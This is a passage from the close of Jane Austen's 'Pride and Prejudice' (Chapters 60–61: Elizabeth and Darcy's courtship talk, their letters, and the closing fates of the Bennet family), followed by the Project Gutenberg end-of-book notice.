You must and shall be married by a special licence. But +my dearest love, tell me what dish Mr. Darcy is particularly fond of, +that I may have it to-morrow." + +This was a sad omen of what her mother's behaviour to the gentleman +himself might be; and Elizabeth found that, though in the certain +possession of his warmest affection, and secure of her relations' +consent, there was still something to be wished for. But the morrow +passed off much better than she expected; for Mrs. Bennet luckily stood +in such awe of her intended son-in-law that she ventured not to speak to +him, unless it was in her power to offer him any attention, or mark her +deference for his opinion. + +Elizabeth had the satisfaction of seeing her father taking pains to get +acquainted with him; and Mr. Bennet soon assured her that he was rising +every hour in his esteem. + +"I admire all my three sons-in-law highly," said he. "Wickham, perhaps, +is my favourite; but I think I shall like _your_ husband quite as well +as Jane's." + + + +Chapter 60 + + +Elizabeth's spirits soon rising to playfulness again, she wanted Mr. +Darcy to account for his having ever fallen in love with her. "How could +you begin?" said she. "I can comprehend your going on charmingly, when +you had once made a beginning; but what could set you off in the first +place?" + +"I cannot fix on the hour, or the spot, or the look, or the words, which +laid the foundation. It is too long ago. I was in the middle before I +knew that I _had_ begun." + +"My beauty you had early withstood, and as for my manners--my behaviour +to _you_ was at least always bordering on the uncivil, and I never spoke +to you without rather wishing to give you pain than not. Now be sincere; +did you admire me for my impertinence?" + +"For the liveliness of your mind, I did." + +"You may as well call it impertinence at once. It was very little less. +The fact is, that you were sick of civility, of deference, of officious +attention. You were disgusted with the women who were always speaking, +and looking, and thinking for _your_ approbation alone. I roused, and +interested you, because I was so unlike _them_. Had you not been really +amiable, you would have hated me for it; but in spite of the pains you +took to disguise yourself, your feelings were always noble and just; and +in your heart, you thoroughly despised the persons who so assiduously +courted you. There--I have saved you the trouble of accounting for +it; and really, all things considered, I begin to think it perfectly +reasonable. To be sure, you knew no actual good of me--but nobody thinks +of _that_ when they fall in love." + +"Was there no good in your affectionate behaviour to Jane while she was +ill at Netherfield?" + +"Dearest Jane! who could have done less for her? But make a virtue of it +by all means. My good qualities are under your protection, and you are +to exaggerate them as much as possible; and, in return, it belongs to me +to find occasions for teasing and quarrelling with you as often as may +be; and I shall begin directly by asking you what made you so unwilling +to come to the point at last. What made you so shy of me, when you first +called, and afterwards dined here? Why, especially, when you called, did +you look as if you did not care about me?" + +"Because you were grave and silent, and gave me no encouragement." + +"But I was embarrassed." + +"And so was I." + +"You might have talked to me more when you came to dinner." + +"A man who had felt less, might." + +"How unlucky that you should have a reasonable answer to give, and that +I should be so reasonable as to admit it! But I wonder how long you +_would_ have gone on, if you had been left to yourself. I wonder when +you _would_ have spoken, if I had not asked you! My resolution of +thanking you for your kindness to Lydia had certainly great effect. +_Too much_, I am afraid; for what becomes of the moral, if our comfort +springs from a breach of promise? for I ought not to have mentioned the +subject. This will never do." + +"You need not distress yourself. The moral will be perfectly fair. Lady +Catherine's unjustifiable endeavours to separate us were the means of +removing all my doubts. I am not indebted for my present happiness to +your eager desire of expressing your gratitude. I was not in a humour +to wait for any opening of yours. My aunt's intelligence had given me +hope, and I was determined at once to know every thing." + +"Lady Catherine has been of infinite use, which ought to make her happy, +for she loves to be of use. But tell me, what did you come down to +Netherfield for? Was it merely to ride to Longbourn and be embarrassed? +or had you intended any more serious consequence?" + +"My real purpose was to see _you_, and to judge, if I could, whether I +might ever hope to make you love me. My avowed one, or what I avowed to +myself, was to see whether your sister were still partial to Bingley, +and if she were, to make the confession to him which I have since made." + +"Shall you ever have courage to announce to Lady Catherine what is to +befall her?" + +"I am more likely to want more time than courage, Elizabeth. But it +ought to be done, and if you will give me a sheet of paper, it shall be +done directly." + +"And if I had not a letter to write myself, I might sit by you and +admire the evenness of your writing, as another young lady once did. But +I have an aunt, too, who must not be longer neglected." + +From an unwillingness to confess how much her intimacy with Mr. Darcy +had been over-rated, Elizabeth had never yet answered Mrs. Gardiner's +long letter; but now, having _that_ to communicate which she knew would +be most welcome, she was almost ashamed to find that her uncle and +aunt had already lost three days of happiness, and immediately wrote as +follows: + +"I would have thanked you before, my dear aunt, as I ought to have done, +for your long, kind, satisfactory, detail of particulars; but to say the +truth, I was too cross to write. You supposed more than really existed. +But _now_ suppose as much as you choose; give a loose rein to your +fancy, indulge your imagination in every possible flight which the +subject will afford, and unless you believe me actually married, you +cannot greatly err. You must write again very soon, and praise him a +great deal more than you did in your last. I thank you, again and again, +for not going to the Lakes. How could I be so silly as to wish it! Your +idea of the ponies is delightful. We will go round the Park every day. I +am the happiest creature in the world. Perhaps other people have said so +before, but not one with such justice. I am happier even than Jane; she +only smiles, I laugh. Mr. Darcy sends you all the love in the world that +he can spare from me. You are all to come to Pemberley at Christmas. +Yours, etc." + +Mr. Darcy's letter to Lady Catherine was in a different style; and still +different from either was what Mr. Bennet sent to Mr. Collins, in reply +to his last. + +"DEAR SIR, + +"I must trouble you once more for congratulations. Elizabeth will soon +be the wife of Mr. Darcy. Console Lady Catherine as well as you can. +But, if I were you, I would stand by the nephew. He has more to give. + +"Yours sincerely, etc." + +Miss Bingley's congratulations to her brother, on his approaching +marriage, were all that was affectionate and insincere. She wrote even +to Jane on the occasion, to express her delight, and repeat all her +former professions of regard. Jane was not deceived, but she was +affected; and though feeling no reliance on her, could not help writing +her a much kinder answer than she knew was deserved. + +The joy which Miss Darcy expressed on receiving similar information, +was as sincere as her brother's in sending it. Four sides of paper were +insufficient to contain all her delight, and all her earnest desire of +being loved by her sister. + +Before any answer could arrive from Mr. Collins, or any congratulations +to Elizabeth from his wife, the Longbourn family heard that the +Collinses were come themselves to Lucas Lodge. The reason of this +sudden removal was soon evident. Lady Catherine had been rendered +so exceedingly angry by the contents of her nephew's letter, that +Charlotte, really rejoicing in the match, was anxious to get away till +the storm was blown over. At such a moment, the arrival of her friend +was a sincere pleasure to Elizabeth, though in the course of their +meetings she must sometimes think the pleasure dearly bought, when she +saw Mr. Darcy exposed to all the parading and obsequious civility of +her husband. He bore it, however, with admirable calmness. He could even +listen to Sir William Lucas, when he complimented him on carrying away +the brightest jewel of the country, and expressed his hopes of their all +meeting frequently at St. James's, with very decent composure. If he did +shrug his shoulders, it was not till Sir William was out of sight. + +Mrs. Phillips's vulgarity was another, and perhaps a greater, tax on his +forbearance; and though Mrs. Phillips, as well as her sister, stood in +too much awe of him to speak with the familiarity which Bingley's good +humour encouraged, yet, whenever she _did_ speak, she must be vulgar. +Nor was her respect for him, though it made her more quiet, at all +likely to make her more elegant. Elizabeth did all she could to shield +him from the frequent notice of either, and was ever anxious to keep +him to herself, and to those of her family with whom he might converse +without mortification; and though the uncomfortable feelings arising +from all this took from the season of courtship much of its pleasure, it +added to the hope of the future; and she looked forward with delight to +the time when they should be removed from society so little pleasing +to either, to all the comfort and elegance of their family party at +Pemberley. + + + +Chapter 61 + + +Happy for all her maternal feelings was the day on which Mrs. Bennet got +rid of her two most deserving daughters. With what delighted pride +she afterwards visited Mrs. Bingley, and talked of Mrs. Darcy, may +be guessed. I wish I could say, for the sake of her family, that the +accomplishment of her earnest desire in the establishment of so many +of her children produced so happy an effect as to make her a sensible, +amiable, well-informed woman for the rest of her life; though perhaps it +was lucky for her husband, who might not have relished domestic felicity +in so unusual a form, that she still was occasionally nervous and +invariably silly. + +Mr. Bennet missed his second daughter exceedingly; his affection for her +drew him oftener from home than anything else could do. He delighted in +going to Pemberley, especially when he was least expected. + +Mr. Bingley and Jane remained at Netherfield only a twelvemonth. So near +a vicinity to her mother and Meryton relations was not desirable even to +_his_ easy temper, or _her_ affectionate heart. The darling wish of his +sisters was then gratified; he bought an estate in a neighbouring county +to Derbyshire, and Jane and Elizabeth, in addition to every other source +of happiness, were within thirty miles of each other. + +Kitty, to her very material advantage, spent the chief of her time with +her two elder sisters. In society so superior to what she had generally +known, her improvement was great. She was not of so ungovernable a +temper as Lydia; and, removed from the influence of Lydia's example, +she became, by proper attention and management, less irritable, less +ignorant, and less insipid. From the further disadvantage of Lydia's +society she was of course carefully kept, and though Mrs. Wickham +frequently invited her to come and stay with her, with the promise of +balls and young men, her father would never consent to her going. + +Mary was the only daughter who remained at home; and she was necessarily +drawn from the pursuit of accomplishments by Mrs. Bennet's being quite +unable to sit alone. Mary was obliged to mix more with the world, but +she could still moralize over every morning visit; and as she was no +longer mortified by comparisons between her sisters' beauty and her own, +it was suspected by her father that she submitted to the change without +much reluctance. + +As for Wickham and Lydia, their characters suffered no revolution from +the marriage of her sisters. He bore with philosophy the conviction that +Elizabeth must now become acquainted with whatever of his ingratitude +and falsehood had before been unknown to her; and in spite of every +thing, was not wholly without hope that Darcy might yet be prevailed on +to make his fortune. The congratulatory letter which Elizabeth received +from Lydia on her marriage, explained to her that, by his wife at least, +if not by himself, such a hope was cherished. The letter was to this +effect: + +"MY DEAR LIZZY, + +"I wish you joy. If you love Mr. Darcy half as well as I do my dear +Wickham, you must be very happy. It is a great comfort to have you so +rich, and when you have nothing else to do, I hope you will think of us. +I am sure Wickham would like a place at court very much, and I do not +think we shall have quite money enough to live upon without some help. +Any place would do, of about three or four hundred a year; but however, +do not speak to Mr. Darcy about it, if you had rather not. + +"Yours, etc." + +As it happened that Elizabeth had _much_ rather not, she endeavoured in +her answer to put an end to every entreaty and expectation of the kind. +Such relief, however, as it was in her power to afford, by the practice +of what might be called economy in her own private expences, she +frequently sent them. It had always been evident to her that such an +income as theirs, under the direction of two persons so extravagant in +their wants, and heedless of the future, must be very insufficient to +their support; and whenever they changed their quarters, either Jane or +herself were sure of being applied to for some little assistance +towards discharging their bills. Their manner of living, even when the +restoration of peace dismissed them to a home, was unsettled in the +extreme. They were always moving from place to place in quest of a cheap +situation, and always spending more than they ought. His affection for +her soon sunk into indifference; hers lasted a little longer; and +in spite of her youth and her manners, she retained all the claims to +reputation which her marriage had given her. + +Though Darcy could never receive _him_ at Pemberley, yet, for +Elizabeth's sake, he assisted him further in his profession. Lydia was +occasionally a visitor there, when her husband was gone to enjoy himself +in London or Bath; and with the Bingleys they both of them frequently +staid so long, that even Bingley's good humour was overcome, and he +proceeded so far as to talk of giving them a hint to be gone. + +Miss Bingley was very deeply mortified by Darcy's marriage; but as she +thought it advisable to retain the right of visiting at Pemberley, she +dropt all her resentment; was fonder than ever of Georgiana, almost as +attentive to Darcy as heretofore, and paid off every arrear of civility +to Elizabeth. + +Pemberley was now Georgiana's home; and the attachment of the sisters +was exactly what Darcy had hoped to see. They were able to love each +other even as well as they intended. Georgiana had the highest opinion +in the world of Elizabeth; though at first she often listened with +an astonishment bordering on alarm at her lively, sportive, manner of +talking to her brother. He, who had always inspired in herself a respect +which almost overcame her affection, she now saw the object of open +pleasantry. Her mind received knowledge which had never before fallen +in her way. By Elizabeth's instructions, she began to comprehend that +a woman may take liberties with her husband which a brother will not +always allow in a sister more than ten years younger than himself. + +Lady Catherine was extremely indignant on the marriage of her nephew; +and as she gave way to all the genuine frankness of her character in +her reply to the letter which announced its arrangement, she sent him +language so very abusive, especially of Elizabeth, that for some time +all intercourse was at an end. But at length, by Elizabeth's persuasion, +he was prevailed on to overlook the offence, and seek a reconciliation; +and, after a little further resistance on the part of his aunt, her +resentment gave way, either to her affection for him, or her curiosity +to see how his wife conducted herself; and she condescended to wait +on them at Pemberley, in spite of that pollution which its woods had +received, not merely from the presence of such a mistress, but the +visits of her uncle and aunt from the city. + +With the Gardiners, they were always on the most intimate terms. +Darcy, as well as Elizabeth, really loved them; and they were both ever +sensible of the warmest gratitude towards the persons who, by bringing +her into Derbyshire, had been the means of uniting them. + + + + + +End of the Project Gutenberg EBook of Pride and Prejudice, by Jane Austen + +*** END OF THIS PROJECT GUTENBERG EBOOK PRIDE AND PREJUDICE *** + +***** This file should be named 1342.txt or 1342.zip ***** +This and all associated files of various formats will be found in: + http://www.gutenberg.org/1/3/4/1342/ + +Produced by Anonymous Volunteers + +Updated editions will replace the previous one--the old editions +will be renamed. + +Creating the works from public domain print editions means that no +one owns a United States copyright in these works, so the Foundation +(and you!) can copy and distribute it in the United States without +permission and without paying copyright royalties. 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